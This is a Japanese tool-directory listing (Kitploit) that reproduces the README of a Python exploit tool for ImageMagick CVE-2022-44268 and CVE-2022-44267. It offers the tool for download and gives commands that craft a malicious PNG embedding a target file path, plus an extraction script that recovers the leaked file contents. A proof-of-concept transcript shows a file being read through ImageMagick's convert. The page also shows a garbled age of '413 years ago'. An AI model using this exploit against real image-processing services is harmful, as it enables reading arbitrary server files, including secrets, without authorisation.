Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2022-44268 — Pythonで書かれたCVE-2022-44268用のペイロード生成・抽出ツール | Kitploit
ツール/GitHubGitHub/agathanon/cve-2022-44268
ペイロード生成脆弱性分析エクスプロイトデータ流出情報収集
GitHubagathanon/cve-2022-44268

cve-2022-44268

Pythonで書かれたCVE-2022-44268用のペイロード生成・抽出ツール

リポジトリを見る
413年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-44268

これを発見した研究者へのクレジット:

  • Bryan Gonzalez and the Ocelot Team

ImageMagick 7.1.0-40 を悪用する悪意のある PNG を作成します:

  • CVE-2022-44267: サービス拒否
  • CVE-2022-44268: 情報漏洩

免責事項: このプロジェクトの作者は、このプロジェクトの素材によって生じる可能性のあるいかなる損害に対しても責任を負いません。

必要条件

  • Python3
  • PIL (pip install Pillow)

使用方法

craft.py を使用した PNG の作成:

root@kitploit:~
git clone https://github.com/agathanon/cve-2022-44268
cd cve-2022-44268
python3 craft.py original.png lol.png /path/to/file

extract.py を使用したデータ抽出:

root@kitploit:~
python3 extract.py exfil.png

PoC

root@kitploit:~
anon@computer:~/code/cve-2022-44268$ python3 craft.py original.png readflag.png $PWD/flag.txt 
anon@computer:~/code/cve-2022-44268$ convert readflag.png -resize 100x100 exfil.png
anon@computer:~/code/cve-2022-44268$ python3 extract.py exfil.png
AAAABBBBCCCC

anon@computer:~/code/cve-2022-44268$
ツールをダウンロード